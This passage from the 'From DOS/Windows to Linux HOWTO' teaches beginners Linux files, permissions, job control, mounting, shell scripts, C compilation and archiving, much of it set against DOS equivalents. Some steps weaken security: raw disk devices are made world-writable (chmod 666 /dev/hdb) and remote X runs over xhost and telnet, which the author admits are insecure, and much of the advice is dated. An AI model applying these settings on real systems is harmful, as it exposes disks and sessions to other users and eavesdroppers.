I_am_a_dir/   cindy.jpg    cjpg*   letter_to_Joe    my_1st_script*  old~
    The files cjpg* and my_1st_script* are executables, that is ``programs''. Under DOS, backup files end in .BAK, while under Linux they end with a tilde `~'. Further, a file whose name starts with a dot is considered as hidden. Example: the file .I.am.a.hidden.file won't show up after the ls command;
  • DOS program switches are obtained with /switch, Linux switches with -switch or --switch. Example: dir /s<tt> becomes ls -R. Note that many DOS programs, like PKZIP or ARJ, use UNIX-style switches.

You can now jump to Section Translating Commands from DOS to Linux, but if I were you I'd read on.

4.2 Symbolic Links

UNIX has a type of file that doesn't exist under DOS: the symbolic link. This can be thought of as a pointer to a file or to a directory, and can be used instead of the file or directory it points to; it's similar to Windows shortcuts. Examples of symbolic links are /usr/X11, which points to /usr/X11R6; /dev/modem, which points to either /dev/ttyS0 or /dev/ttyS1.

To make a symbolic link:

$ ln -s <file_or_dir> <linkname>

Example:

$ ln -s /usr/doc/g77/DOC g77manual.txt

Now you can refer to g77manual.txt instead of /usr/doc/g77/DOC. Links appear like this in directory listings:

$ ls -F
g77manual.txt@
$ ls -l
(several things...)           g77manual.txt -> /usr/doc/g77/DOC

4.3 Permissions and Ownership

DOS files and directories have the following attributes: A (archive), H (hidden), R (read-only), and S (system). Only H and R make sense under Linux: hidden files start with a dot, and for the R attribute, read on.

Under UNIX a file has ``permissions'' and an owner, who in turn belongs to a ``group''. Look at this example:

$ ls -l /bin/ls
-rwxr-xr-x  1  root  bin  27281 Aug 15 1995 /bin/ls*

The first field contains the permissions of the file /bin/ls, which belongs to root, group bin. Leaving the remaining information aside, remember that -rwxr-xr-x means, from left to right:

- is the file type (- = ordinary file, d = directory, l = link, etc); rwx are the permissions for the file owner (read, write, execute); r-x are the permissions for the group of the file owner (read, execute); (I won't cover the concept of group, you can survive without it as long as you're a beginner ;-) r-x are the permissions for all other users (read, execute).

The directory /bin has permissions, too: see Section Directories Permissions for further details. This is why you can't delete the file /bin/ls unless you are root: you don't have the permission to do so. To change a file's permissions, the command is:

$ chmod <whoXperm> <file>

where who is u (user, that is owner), g (group), o (other), X is either + or -, perm is r (read), w (write), or x (execute). Common examples of chmod use are the following:

$ chmod +x file

this sets the execute permission for the file.

$ chmod go-rw file

this removes read and write permission for everyone but the owner.

$ chmod ugo+rwx file

this gives everyone read, write, and execute permission.

# chmod +s file

this makes a so-called ``setuid'' or ``suid'' file---a file that everyone can execute with its owner's privileges. Typically, you'll come across root suid files; these are often important system files, like the X server.

A shorter way to refer to permissions is with digits: rwxr-xr-x can be expressed as 755 (every letter corresponds to a bit: --- is 0, --x is 1, -w- is 2, -wx is 3...). It looks difficult, but with a bit of practice you'll understand the concept. root, being the superuser, can change everyone's file permissions. RMP.

4.4 Files: Translating Commands

On the left, the DOS commands; on the right, their Linux counterpart.

ATTRIB:         chmod
COPY:           cp
DEL:            rm
MOVE:           mv
REN:            mv
TYPE:           more, less, cat

Redirection and plumbing operators: < > >> |

Wildcards: * ?

nul: /dev/null

prn, lpt1: /dev/lp0 or /dev/lp1; lpr

Examples

DOS                                     Linux
---------------------------------------------------------------------

C:\GUIDO>ATTRIB +R FILE.TXT             $ chmod 400 file.txt
C:\GUIDO>COPY JOE.TXT JOE.DOC           $ cp joe.txt joe.doc
C:\GUIDO>COPY *.* TOTAL                 $ cat * > total
C:\GUIDO>COPY FRACTALS.DOC PRN          $ lpr fractals.doc
C:\GUIDO>DEL TEMP                       $ rm temp
C:\GUIDO>DEL *.BAK                      $ rm *~
C:\GUIDO>MOVE PAPER.TXT TMP\            $ mv paper.txt tmp/
C:\GUIDO>REN PAPER.TXT PAPER.ASC        $ mv paper.txt paper.asc
C:\GUIDO>PRINT LETTER.TXT               $ lpr letter.txt
C:\GUIDO>TYPE LETTER.TXT                $ more letter.txt
C:\GUIDO>TYPE LETTER.TXT                $ less letter.txt
C:\GUIDO>TYPE LETTER.TXT > NUL          $ cat letter.txt > /dev/null
        n/a                             $ more *.txt *.asc
        n/a                             $ cat section*.txt | less

Notes:

  • * is smarter under Linux: * matches all files except the hidden ones; .* matches all hidden files (but also the current directory `.' and parent directory `..': beware!); *.* matches only those that have a `.' in the middle or that end with a dot; p*r matches both `peter' and `piper'; *c* matches both `picked' and `peck';
  • when using more, press <SPACE> to read through the file, `q' to exit. less is more intuitive and lets you use the arrow keys;
  • there is no UNDELETE, so think twice before deleting anything;
  • in addition to DOS' < > >>, Linux has 2> to redirect error messages (stderr); moreover, 2>&1 redirects stderr to stdout, while 1>&2 redirects stdout to stderr;
  • Linux has another wildcard: the []. Usage: [abc]* matches files starting with a, b, c; *[I-N1-3] matches files ending with I, J, K, L, M, N, 1, 2, 3;
  • lpr <file> prints a file in background. To check the status of the print queue, use lpq; to remove a file from the print queue, use lprm;
  • there is no DOS-like RENAME; that is, mv *.xxx *.yyy won't work. A REN-like command is available on ftp://metalab.unc.edu/pub/Linux/utils/file;
  • use cp -i and mv -i to be warned when a file is going to be overwritten.

4.5 Running Programs: Multitasking and Sessions

To run a program, type its name as you would do under DOS. If the directory (Section Using Directories) where the program is stored is included in the PATH (Section System Initialisation Files), the program will start. Exception: unlike DOS, under Linux a program located in the current directory won't run unless the directory is included in the PATH. Escamotage: being prog your program, type ./prog.

This is what the typical command line looks like:

$ command [-s1 [-s2] ... [-sn]] [par1 [par2] ... [parn]] [< input] [> output]

where -s1, ..., -sn are the program switches, par1, ..., parn are the program parameters. You can issue several commands on the command line:

$ command1 ; command2 ; ... ; commandn

That's all about running programs, but it's easy to go a step beyond. One of the main reasons for using Linux is that it is a multitasking os---it can run several programs (from now on, processes) at the same time. You can launch processes in background and continue working straight away. Moreover, Linux lets you have several sessions: it's like having many computers to work on at once!

  • To switch to session 1..6 on the virtual consoles, press <ALT-F1> ... <ALT-F6>
  • To start a new session in the same v.c. without leaving the current one, type su - <loginname>. Example: su - root. This is useful, for instance, when you need to perform a task that only root can do.
  • To end a session, type exit. If there are stopped jobs (see later), you'll be warned.
  • To launch a process in background, add an ampersand '&' at the end of the command line:
    $ progname [-switches] [parameters] [< input] [> output] &
[1] 123
    the shell identifies the process with a job number (e.g. [1]; see below), and with a PID (Process Identification Number; 123 in our example).
  • To see how many processes there are, type ps ax. This will output a list of currently running processes.
  • To kill (terminate) a process, type kill <PID>. You may need to kill a process when you don't know how to quit it the right way.... Unless you're root, you can't kill other people's processes. Sometimes, a process will only be killed by kill -SIGKILL <PID>. In addition, the shell allows you to stop or temporarily suspend a process, send a process to background, and bring a process from background to foreground. In this context, processes are called ``jobs''.
  • To see how many jobs there are, type jobs. Here the jobs are identified by their job number, not by their PID.
  • To stop a process running in foreground, press <CTRL-C> (it won't always work).
  • To suspend a process running in foreground, press <CTRL-Z> (ditto).
  • To send a suspended process into background, type bg <%job> (it becomes a job).
  • To bring a job to foreground, type fg <%job>. To bring to foreground the last job sent to background, simply type fg.
  • To kill a job, type kill <%job> where <job> may be 1, 2, 3,...

Using these commands you can format a disk, zip a bunch of files, compile a program, and unzip an archive all at the same time, and still have the prompt at your disposal. Try this with Windows, just to see the difference in performance (if it doesn't crash, of course).

4.6 Running Programs on Remote Computers

To run a program on a remote machine whose name is remote.machine.edu:

$ telnet remote.machine.edu

After logging in, start your favourite program. Needless to say, you must have a shell account on the remote machine.

If you have X11, you can even run an X application on a remote computer, displaying it on your X screen. Let remote.machine.edu be the remote X computer and let local.linux.box be your Linux machine. To run from local.linux.box an X program that resides on remote.machine.edu, do the following:

  • fire up X11, start an xterm or equivalent terminal emulator, then type:
    $ xhost +remote.machine.edu
$ telnet remote.machine.edu
  • after logging in, type:
    remote:$ DISPLAY=local.linux.box:0.0
remote:$ progname &
    (instead of DISPLAY..., you may have to write: setenv DISPLAY local.linux.box:0.0. It depends on the remote shell.)

Et voila! Now progname will start on remote.machine.edu and will be displayed on your machine. Don't try this over the modem though, for it's too slow to be usable. Moreover, this is a crude and insecure method: please read the ``Remote X Apps mini-HOWTO'' at http://www.linuxdoc.org/HOWTO/mini/Remote-X-Apps.html.


From DOS/Windows to Linux HOWTO : Using Directories

 Next Previous Contents

5. Using Directories

5.1 Directories: Preliminary Notions

We have seen the differences between files under DOS/Win and Linux. As for directories, under DOS/Win the root directory is \, under Linux it is /. Similarly, nested directories are separated by \ under DOS/Win, by / under Linux. Example of file paths:

DOS:    C:\PAPERS\GEOLOGY\MID_EOC.TEX
Linux:  /home/guido/papers/geology/middle_eocene.tex

As usual, .. is the parent directory and . is the current directory. Remember that the system won't let you cd, rd, or md everywhere you want. Each user has his or her stuff in a directory called `home', given by the system administrator; for instance, on my PC my home dir is /home/guido.

5.2 Directories Permissions

Directories, too, have permissions. What we have seen in Section Permissions and Ownership applies to directories as well (user, group, and other). For a directory, rx means you can cd to that directory, and w means that you can delete a file in the directory (according to the file's permissions, of course), or the directory itself.

For example, to prevent other users from snooping in /home/guido/text:

$ chmod o-rwx /home/guido/text

5.3 Directories: Translating Commands

DIR:            ls, find, du
CD:             cd, pwd
MD:             mkdir
RD:             rmdir
DELTREE:        rm -rf
MOVE:           mv

Examples

DOS                                     Linux
---------------------------------------------------------------------

C:\GUIDO>DIR                            $ ls
C:\GUIDO>DIR FILE.TXT                   $ ls file.txt
C:\GUIDO>DIR *.H *.C                    $ ls *.h *.c
C:\GUIDO>DIR/P                          $ ls | more
C:\GUIDO>DIR/A                          $ ls -l
C:\GUIDO>DIR *.TMP /S                   $ find / -name "*.tmp"
C:\GUIDO>CD                             $ pwd
        n/a - see note                  $ cd
        ditto                           $ cd ~
        ditto                           $ cd ~/temp
C:\GUIDO>CD \OTHER                      $ cd /other
C:\GUIDO>CD ..\TEMP\TRASH               $ cd ../temp/trash
C:\GUIDO>MD NEWPROGS                    $ mkdir newprogs
C:\GUIDO>MOVE PROG ..                   $ mv prog ..
C:\GUIDO>MD \PROGS\TURBO                $ mkdir /progs/turbo
C:\GUIDO>DELTREE TEMP\TRASH             $ rm -rf temp/trash
C:\GUIDO>RD NEWPROGS                    $ rmdir newprogs
C:\GUIDO>RD \PROGS\TURBO                $ rmdir /progs/turbo

Notes:

  • when using rmdir, the directory to remove must be empty. To delete a directory and all of its contents, use rm -rf (at your own risk).
  • the character `~' is a shortcut for the name of your home directory. The commands cd or cd ~ will take you to your home directory from wherever you are; the command cd ~/tmp will take you to /home/your_home/tmp.
  • cd - ``undoes'' the last cd.


From DOS/Windows to Linux HOWTO : Floppies, Hard Disks, and the Like

 Next Previous Contents

6. Floppies, Hard Disks, and the Like

There are two ways to manage devices under Linux: the DOS way and the UNIX way. Take your pick.

6.1 Managing Devices the DOS Way

Most Linux distributions include the Mtools suite, a set of commands that are perfectly equivalent to their DOS counterpart, but start with an `m': i.e., mformat, mdir, mdel, mmd, and so on. They can even preserve long file names, but not file permissions. If you configure Mtools editing a file called /etc/mtools.conf (a sample is provided in the distribution), you can also access the DOS/Win partition, the CD--ROM, and the Zip drive. To format a fresh disk though, the mformat command won't do. As root, you'll have to issue this command beforehand: fdformat /dev/fd0H1440.

You can't access files on the floppy with a command like, say, less a:file.txt! This is the disadvantage of the DOS way of accessing disks.

6.2 Managing Devices the UNIX Way

UNIX has a different way to handle devices. There are no separate volumes like A: or C:; a disk, be it a floppy or whatever, becomes part of the local file system through an operation called ``mounting''. When you're done using the disk, before extracting it you must ``unmount'' it.

Physically formatting a disk is one thing, making a file system on it is another. The DOS command FORMAT A: does both things, but under Linux there are separate commands. To format a floppy, see above; to create a file system:

# mkfs -t ext2 -c /dev/fd0H1440

You can use dos, vfat (recommended) or other formats instead of ext2. Once the disk is prepared, mount it with the command

# mount -t ext2 /dev/fd0 /mnt

specifying the right file system if you don't use ext2. Now you can address the files in the floppy using /mnt instead of A: or B:. Examples:

DOS                                     Linux
---------------------------------------------------------------------

C:\GUIDO>DIR A:                         $ ls /mnt
C:\GUIDO>COPY A:*.*                     $ cp /mnt/* .
C:\GUIDO>COPY *.ZIP A:                  $ cp *.zip /mnt
C:\GUIDO>EDIT A:FILE.TXT                $ jstar /mnt/file.txt
C:\GUIDO>A:                             $ cd /mnt
A:> _                                   /mnt/$ _

When you've finished, before extracting the disk you must unmount it with the command

# umount /mnt

Obviously, you have to fdformat and mkfs only unformatted disks, not previously used ones. If you want to use the drive B:, refer to fd1H1440 and fd1 instead of fd0H1440 and fd0 in the examples above.

Needless to say, what applies to floppies also applies to other devices; for instance, you may want to mount another hard disk or a CD--ROM drive. Here's how to mount the CD--ROM:

# mount -t iso9660 /dev/cdrom /mnt

This was the ``official'' way to mount your disks, but there's a trick in store. Since it's a bit of a nuisance having to be root to mount a floppy or a CD--ROM, every user can be allowed to mount them this way:

  • as root, do the following:
    # mkdir /mnt/floppy ; mkdir /mnt/cdrom
# chmod 777 /mnt/floppy /mnt/cd*
# # make sure that the CD-ROM device is right
# chmod 666 /dev/hdb ; chmod 666 /dev/fd*
  • add in /etc/fstab the following lines:
    /dev/cdrom      /mnt/cdrom  iso9660 ro,user,noauto          0       0
/dev/fd0        /mnt/floppy vfat    user,noauto             0       0

Now, to mount a DOS floppy and a CD--ROM:

$ mount /mnt/floppy
$ mount /mnt/cdrom

/mnt/floppy and /mnt/cdrom can now be accessed by every user. Remember that allowing everyone to mount disks this way is a gaping security hole, if you care.

Two useful commands are df, which gives information on the mounted file systems, and du dirname which reports the disk space consumed by the directory.

6.3 Backing Up

There are several packages to help you, but the very least you can do for a multi-volume backup is (as root):

# tar -M -cvf /dev/fd0H1440 dir_to_backup/

Make sure to have a formatted floppy in the drive, and several more ready. To restore your stuff, insert the first floppy in the drive and do:

# tar -M -xpvf /dev/fd0H1440


From DOS/Windows to Linux HOWTO : What About Windows?

 Next Previous Contents

7. What About Windows?

The ``equivalent'' of Windows is the graphic system X Window System. Unlike Windows or the Mac, X11 wasn't designed for ease of use or to look good, but just to provide graphic facilities to UNIX workstations. These are the main differences:

  • while Windows looks and feels the same all over the world, X11 does not: it's much more configurable. X11's overall look is given by a key component called ``window manager'', of which you have a wide choice: fvwm, basic but nice and memory efficient, fvwm2-95, Afterstep, WindowMaker, Enlightenment, and many more. The w.m. is usually invoked from .xinitrc;
  • your w.m. can be configured so as a window acts as under, er, Windows: you click on it and it comes to foreground. Another possibility is that it comes to foreground when the mouse moves over it (``focus''). Also, the placement of windows on the screen can be automatic or interactive: if a strange frame appears instead of your program, left click where you want it to appear;
  • most features can be tailored editing one or more configuration files. Read the docs of your w.m.: the configuration file can be .fvwmrc, .fvwm2rc95, .steprc, etc. A sample configuration file is typically found in /etc/X11/window-manager-name/system.window-manager-name;
  • X11 applications are written using special libraries (``widget sets''); as several are available, applications look different. The most basic ones are those that use the Athena widgets (2--D look; xdvi, xman, xcalc); others use Motif (netscape), others still use Tcl/Tk, Qt, Gtk, XForms, and what have you. Nearly all of these libraries provide roughly the same look and feel as Windows;
  • the feel, unfortunately, can be incoherent. For instance, if you select a line of text using the mouse and press <BACKSPACE>, you'd expect the line to disappear, right? This won't work with Athena--based apps, but it does with other widget sets;
  • how scrollbars and resizing work depends on the w.m. and the widget set. Tip: if you find that the scrollbars don't behave as you would expect, try using the central button or the two buttons together to move them;
  • applications don't have an icon by default, but they can have many. Most w.m. feature a menu you recall by clicking on the desktop (``root window''); needless to say, the menu can be tailored. To change the root window appearance, use xsetroot or xloadimage;
  • the clipboard can only contain text, and behaves strange. Once you've selected text, it's already copied to the clipboard: move elsewhere and press the central button to paste it. There's an application, xclipboard, that provides for multiple clipboard buffers;
  • drag and drop is an option, and is only available if you use X11 applications and/or w.m. that support it.

This said, good news for you. There are projects that aim at making X11 look and behave as coherently as Windows. Gnome, http://www.gnome.org, and KDE, http://www.kde.org, are simply awesome. Most likely your distribution uses either or both. You won't regret your Windows desktop anymore!


From DOS/Windows to Linux HOWTO : Tailoring the System

 Next Previous Contents

8. Tailoring the System

8.1 System Initialisation Files

Two important files under DOS are AUTOEXEC.BAT and CONFIG.SYS, which are used at boot time to initialise the system, set some environment variables like PATH and FILES, and possibly launch a program or batch file. Additionally, Windows has the infamous registry---one of the worst ideas ever conceived in computer science.

Under Linux there are lots of initialisation files, some of which you had better not tamper with until you know exactly what you are doing; they reside in the /etc tree. All configuration can be done editing plain text files. If all you need is setting the PATH and other environment variables, or you want to change the login messages or automatically launch a program on login, have a look at the following files:

FILES                                   NOTES

/etc/issue                              sets pre-login message
/etc/motd                               sets post-login message
/etc/profile                            sets $PATH and other variables, etc.
/etc/bashrc                             sets aliases and functions, etc.
/home/your_home/.bashrc                 sets your aliases + functions
/home/your_home/.bash_profile   or
/home/your_home/.profile                sets environment + starts your progs

If the latter file exists (note that it is a hidden file), it will be read after the login, and the commands therein will be executed.

Example---look at this .bash_profile:

# I am a comment
echo Environment:
printenv | less   # equivalent of command SET under DOS
alias d='ls -l'   # easy to understand what an alias is
alias up='cd ..'
echo "I remind you that the path is "$PATH
echo "Today is `date`"  # use the output of the command 'date'
echo "Have a good day, "$LOGNAME
# The following is a "shell function"
ctgz() # List the contents of a .tar.gz archive.
{
  for file in $*
  do
    gzip -dc ${file} | tar tf -
  done
}
# end of .profile

$PATH and $LOGNAME, you guessed right, are environment variables. There are many others to play with; for instance, RMP for apps like less or bash.

Putting this line in your /etc/profile will provide the rough equivalent of PROMPT $P$G:

export PS1="\w\\$ "

8.2 Program Initialisation Files

Under Linux, virtually everything can be tailored to your needs. Most programs have one or more initialisation files you can fiddle with, often as a .prognamerc in your home dir. The first ones you'll want to modify are:

  • .inputrc: used by bash to define key bindings;
  • .xinitrc: used by startx to initialise X Window System;
  • .fvwmrc: used by the window manager fvwm.
  • .joerc, .jstarrc: used by the editor joe;
  • .jedrc: used by the editor jed;
  • .pinerc: used by the mail reader pine;
  • .Xdefault: used by many X programs.

For all of these and the others you'll come across sooner or later, RMP. Perhaps I could interest you in the Configuration HOWTO, http://www.linuxdoc.org/HOWTO/Config-HOWTO.html?


From DOS/Windows to Linux HOWTO : Networking: Concepts

 Next Previous Contents

9. Networking: Concepts

Not only is ``Dialup Networking'' available under Linux, it's also more stable and quicker. The name of the game is ``PPP'', the protocol employed for connecting to the Internet using modems. All you need is a tool that dials out and makes the connection.

To retrieve your mail from the ISP's server you need a tool called ``email fetcher'' that uses the POP protocol; when the mail is fetched it will appear as though it had been directly delivered to your Linux box. You'll then use a MUA (Mail User Agent) like pine, mutt, elm or many others to manage it.

While under Windows the dialer is automatically invoked when you launch an Internet application, under Linux the path is the other way round: you dial first, then launch the application. A thing called diald provides the usual behaviour. Installing and configuring dialup networking used to be one of the most difficult things to do under Linux, but not anymore: please consult the Configuration HOWTO.

Finally, a word about ``Network neighborhood'': you can make your Linux workstation appear as Windows NT/9x in a local network of Windows machines! The magic word is Samba: not the lively Brazilian dance, but an implementation of the SMB protocol for Linux. Go to http://samba.anu.edu.au/samba.


From DOS/Windows to Linux HOWTO : A Bit of Programming

 Next Previous Contents

10. A Bit of Programming

10.1 Shell Scripts: .BAT Files on Steroids

If you used .BAT files to create shortcuts of long command lines (I did a lot), this goal can be attained by inserting appropriate alias lines (see example above) in profile or .bash_profile. But if your .BATs were more complicated, then you'll love the scripting language made available by the shell: it's as powerful as good ol' QBasic, if not more. It has variables, structures like while, for, case, if... then... else, and lots of other features: it can be a good alternative to a ``real'' programming language.

To write a script---the equivalent of a .BAT file under DOS---all you have to do is write a standard ASCII file containing the instructions, save it, then make it executable with the command chmod +x <scriptfile>. To execute it, type its name.

A word of warning. The system editor is called vi, and in my experience most new users find it very difficult to use. I'm not going to explain how to use it; please consult Matt Welsh's book or search for a tutorial on the net. Suffice it here to say that:

  • to insert some text, type i then your text;
  • to delete characters, type <ESC> then x;
  • to quit vi whithout saving, type <ESC> then :q!
  • to save and quit, type <ESC> then :wq.

A good beginner editor is joe: invoking it by typing jstar you'll get the same key bindings as the DOS/Win editor. jed in WordStar or IDE mode is even better. Please consult Section Where to Find Applications to see where to get these editors.

Writing scripts under bash is such a vast subject it would require a book by itself, and I will not delve into the topic any further. I'll just give you an example of shell script, from which you can extract some basic rules:

#!/bin/sh
# sample.sh
# I am a comment
# don't change the first line, it must be there
echo "This system is: `uname -a`" # use the output of the command
echo "My name is $0" # built-in variables
echo "You gave me the following $# parameters: "$*
echo "The first parameter is: "$1
echo -n "What's your name? " ; read your_name
echo notice the difference: "hi $your_name" # quoting with "
echo notice the difference: 'hi $your_name' # quoting with '
DIRS=0 ; FILES=0
for file in `ls .` ; do
  if [ -d ${file} ] ; then # if file is a directory
    DIRS=`expr $DIRS + 1`  # DIRS = DIRS + 1
  elif [ -f ${file} ] ; then
    FILES=`expr $FILES + 1`
  fi
  case ${file} in
    *.gif|*jpg) echo "${file}: graphic file" ;;
    *.txt|*.tex) echo "${file}: text file" ;;
    *.c|*.f|*.for) echo "${file}: source file" ;;
    *) echo "${file}: generic file" ;;
  esac
done
echo "there are ${DIRS} directories and ${FILES} files"
ls | grep "ZxY--%%WKW"
if [ $? != 0 ] ; then # exit code of last command
  echo "ZxY--%%WKW not found"
fi
echo "enough... type 'man bash' if you want more info."

10.2 C for Yourself

Under UNIX, the system language is C, love it or hate it. Scores of other languages (Java, FORTRAN, Pascal, Lisp, Basic, Perl, awk...) are also available.

Taken for granted that you know C, here are a couple of guidelines for those of you who have been spoilt by Turbo C++ or one of its DOS kin. Linux's C compiler is called gcc and lacks all the bells and whistles that usually accompany its DOS counterparts: no IDE, on-line help, integrated debugger, etc. It's just a rough command-line compiler, very powerful and efficient. To compile your standard hello.c you'll do:

$ gcc hello.c

which will create an executable file called a.out. To give the executable a different name, do

$ gcc -o hola hello.c

To link a library against a program, add the switch -l<libname>. For example, to link in the math library:

$ gcc -o mathprog mathprog.c -lm

(The -l<libname> switch forces gcc to link the library /usr/lib/lib<libname>.so; so -lm links /usr/lib/libm.so).

So far, so good. But when your prog is made of several source files, you'll need to use the utility make. Let's suppose you have written an expression parser: its source file is called parser.c and #includes two header files, parser.h and xy.h. Then you want to use the routines in parser.c in a program, say, calc.c, which in turn #includes parser.h. What a mess! What do you have to do to compile calc.c?

You'll have to write a so-called Makefile, which teaches the compiler the dependencies between sources and objects files. In our example:

# This is Makefile, used to compile calc.c
# Press the <TAB> key where indicated!

calc: calc.o parser.o
<TAB>gcc -o calc calc.o parser.o -lm
# calc depends on two object files: calc.o and parser.o

calc.o: calc.c parser.h
<TAB>gcc -c calc.c
# calc.o depends on two source files

parser.o:  parser.c parser.h xy.h
<TAB>gcc -c parser.c
# parser.o depends on three source files

# end of Makefile.

Save this file as Makefile and type make to compile your program; alternatively, save it as calc.mak and type make -f calc.mak, and of course RMP. You can invoke some help about the C functions, that are covered by man pages, section 3; for example,

$ man 3 printf

To debug your programs, use gdb. info gdb to learn how to use it.

There are lots of libraries available; among the first you may want to use are ncurses (textmode effects), and svgalib (console graphics). Many editors can act as an IDE; emacs and jed, for instance, also feature syntax highlighting, automatic indent, and so on. Alternatively, get the package rhide from ftp://metalab.unc.edu:/pub/Linux/devel/debuggers/. It's a Borland IDE clone, and chances are that you'll like it.

10.3 X11 Programming

If you feel brave enough to tackle X11 programming (it's not that difficult), there are several libraries that make writing X11 programs a breeze. The main sites to visit are those of GTK+, http://www.gtk.org, and Qt, http://www.troll.no. Gtk+ is a C-based widget set originally written for the graphic package The GIMP ( http://www.gimp.org), and is used by the Gnome environment. Kdeveloper is based on C++-based Qt, used by KDE. Most likely, you'll use one of these.

Some of the best tools for visual programming are Kdevelop for Qt, http://www.kdevelop.org, and Glade for GTK+, http://glade.pn.org. This page has more information: http://www.free-soft.org/guitool/.

Multi-Platform Programming

Wouldn't it be nice if you could write code that compiled seamlessly under Linux and Windows using gcc? As of this writing, there are some widget sets that allow for more-or-less stable multi-platform programming. As far as stability and completeness are concerned though, I would say that the choice is narrowed down to only one: FLTK, the Fast Light Tool Kit http://www.fltk.org. It's amazingly small, quick, and stable. It also has a semi-visual builder called Fluid.


From DOS/Windows to Linux HOWTO : The Remaining 1%

 Next Previous Contents

11. The Remaining 1%

Much more than 1%, actually...

11.1 Running DOS/Windows Apps

Yes, you can to some extent run DOS and Windows applications under Linux! There are two emulators that are quite good: Dosemu ( http://www.dosemu.org) and Wine ( http://www.winehq.com). The latter is getting better release after release, and the list of runnable applications is getting larger. It even runs Word and Excel!

11.2 Using tar and gzip

Under UNIX there are some widely used applications to archive and compress files. tar is used to make archives---it's like PKZIP or Winzipbut it doesn't compress, it only archives. To make a new archive:

$ tar cvf <archive_name.tar> <file> [file...]

To extract files from an archive:

$ tar xvf <archive_name.tar> [file...]

To list the contents of an archive:

$ tar tf <archive_name.tar> | less

You can compress files using compress, which is obsolete and shouldn't be used any more, or gzip:

$ compress <file>
$ gzip <file>

that creates a compressed file with extension .Z (compress) or .gz (gzip). These programs can compress only one file at a time. To decompress:

$ compress -d <file.Z>
$ gzip -d <file.gz>

RMP.

There are also the unarj, zip and unzip (PK??ZIP compatible) utilities. Files with extension .tar.gz or .tgz (archived with tar, then compressed with gzip) are as common in the UNIX world as .ZIP files are under DOS. Here's how to list the contents of a .tar.gz archive:

$ tar ztf <file.tar.gz> | less

11.3 Installing Applications

First of all: installing packages is root's work. Most Linux applications are distributed as a .tar.gz archive, which typically will contain a directory aptly named containing files and/or subdirectories. A good rule is to install these packages from /usr/local with the command

# tar zxf <archive.tar.gz>

reading then the README or INSTALL file. In most cases, the application is distributed in source, which you'll have to compile; often, typing make then make install will suffice. If the archive contains a configure script, run it first. Obviously, you'll need the gcc or g++ compiler.

Other archives have to be unpacked from /; this is the case with Slackware's .tgz archives. Other archives contain the files but not a subdirectory - careful not to mess things up! Always list the contents of the archive before installing it.

Debian and Red Hat have their own archive format; respectively, .deb and .rpm. The latter is widely used by many distributions; to install an rpm package, type

# rpm -i package.rpm

11.4 Tips You Can't Do Without

Backscrolling: pressing <SHIFT + PAG UP> (the grey key) allows you to backscroll a few pages, depending on how much video memory you have.

Resetting the screen: if you happen to more or cat a binary file, your screen may end up full of garbage. To fix it, blind type reset or this sequence of characters: echo CTRL-V ESC c RETURN.

Pasting text: in console, see below; in X, click and drag to select the text in an xterm window, then click the middle button (or the two buttons together if you have a two-button mouse) to paste. There is also xclipboard (alas, only for text); don't get confused by its very slow response.

Using the mouse: if you installed gpm, a mouse driver for the console, you can click and drag to select text, then right click to paste the selected text. It works across different VCs.

Messages from the kernel: have a look at /var/adm/messages or /var/log/messages as root to see what the kernel has to tell you, including bootup messages. The command dmesg is also handy.

11.5 Where to Find Applications

If you're wondering whether you can replace your old and trusted DOS/Win application with a Linux one, I suggest that you browse the main Linux software repository: ftp://metalab.unc.edu/pub/Linux. Other good starting places are the ``Linux Applications and Utilities Page'' http://www.xnet.com/~blatura/linapps.shtml, the ``official'' Linux page http://www.linux.org, and http://freshmeat.net.

11.6 A Few Things You Couldn't Do

Linux can do an awful lot of things that were cumbersome, difficult or impossible do to with DOS/Windows. Here's a short list that may whet your appetite:

  • at allows you to run programs at a specified time;
  • awk is a simple yet powerful language to manipulate data files (and not only). For example, being data.dat your multi field data file,
    $ awk '$2 ~ "abc" {print $1, "\t", $4}' data.dat
    prints out fields 1 and 4 of every line in data.dat whose second field contains ``abc''.
  • cron is useful to perform tasks periodically, at specified date and time. Type man 5 crontab.
  • file <filename> tells you what filename is (ASCII text, executable, archive, etc.);
  • find (see also Section Directories: Translating Commands) is one of the most powerful and useful commands. It's used to find files that match several characteristics and perform actions on them. General use of find is:
    $ find <directory> <expression>
    where <expression> includes search criteria and actions. Examples:
    $ find . -type l -exec ls -l {} \;
    finds all the files that are symbolic links and shows what they point to.
    $ find / -name "*.old" -ok rm {} \;
    finds all the files matching the pattern and deletes them, asking for your permission first.
    $ find . -perm +111
    finds all the files whose permissions match 111 (executable).
    $ find . -user root
    finds all the files that belong to root. Lots of possibilities here---RMP.
  • grep finds text patterns in files. For example,
    $ grep -l "geology" *.tex
    lists the files *.tex that contain the word ``geology''. The variant zgrep works on gzipped files. RMP;
  • regular expressions are a complex but darn powerful way of performing search operations on text. For example, ^a[^a-m]X{4,}txt$ matches a line that starts with `a', followed by any character except those in the interval a-m, followed by 4 or more `X', and ends in `txt'. You use regular expressions with advanced editors, less, and many other applications. man grep for an introduction.
  • script <script_file> dumps the screen contents on script_file until you issue the command exit. Useful for debugging;
  • sudo allows users to perform some of root's tasks (e.g. formatting and mounting disks; RMP);
  • uname -a gives you info about your system;
  • zcat and zless are useful for browsing and piping gzipped files without decompressing them. For example:
    $ zless textfile.gz
$ zcat textfile.gz | lpr
  • The following commands often come in handy: bc, cal, chsh, cmp, cut, fmt, head, hexdump, nl, passwd, printf, sort, split, strings, tac, tail, tee, touch, uniq, w, wall, wc, whereis, write, xargs, znew. RMP.

11.7 Practicing UNIX under DOS/Win

Believe it or not, there are fine tools that provide a UNIX-like environment under DOS/Windows! One is the Djgpp suite ( http://www.delorie.com/djgpp/) for DOS, while Cygwin ( http://www.cygnus.com/cygwin) is a more complex port for Win32. Both include the same GNU development tools and utilities as Linux; you won't get the same stability and performance, though.

If you'd like to have a taste of Linux, try out Djgpp. Download and install the following files (as of this writing, the latest version is 2.02): djdev202.zip, bnu281b.zip, bsh1147b.zip, fil316b.zip, find41b.zip, grep22b.zip, gwk303b.zip, lss332b.zip, shl112b.zip.. Installation instructions are provided, and you can find assistance on news:comp.os.msdos.djgpp.

In particular, using bash under DOS/Win is a whiff of fresh air. To configure it properly, edit the supplied file BOOT.BAT to reflect your installation, then put these files in your home directory (in the Windows partition) instead of those provided:

# this is _bashrc

LS_OPTIONS="-F -s --color=yes"
alias cp='cp -i'
alias d='ls -l'
alias l=less
alias ls="ls $LS_OPTIONS"
alias mv='mv -i'
alias rm='rm -i'
alias u='cd ..'

# this is _bprof
if [ -f ~/_bashrc ]; then
  . ~/_bashrc
fi
PS1='\w\$ '
PS2='> '
CDPATH="$CDPATH:~"
# stuff for less(1)
